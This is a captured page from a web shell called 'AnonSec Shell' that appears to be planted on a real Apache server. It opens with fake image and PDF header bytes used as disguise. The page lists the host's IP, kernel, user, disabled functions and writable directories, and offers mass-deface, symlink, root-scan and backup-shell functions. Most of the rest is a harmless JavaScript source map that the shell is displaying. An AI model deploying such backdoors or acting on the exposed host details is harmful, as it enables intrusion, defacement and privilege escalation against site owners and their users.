ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/admin/public/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/admin/public/js/app.js.map
{"version":3,"sources":["jQuery-2.1.4.min.js","bootstrap.min.js","app.min.js","bootstrap3-wysihtml5.all.js","jquery.dataTables.min.js","dataTables.bootstrap.min.js","jquery-ui.min.js","geral.js"],"names":[],"mappings":"AAAA;AACA;AACA;AACA;AACA;ACJA;AACA;AACA;AACA;AACA;AACA;AACA;ACNA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;ACZA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA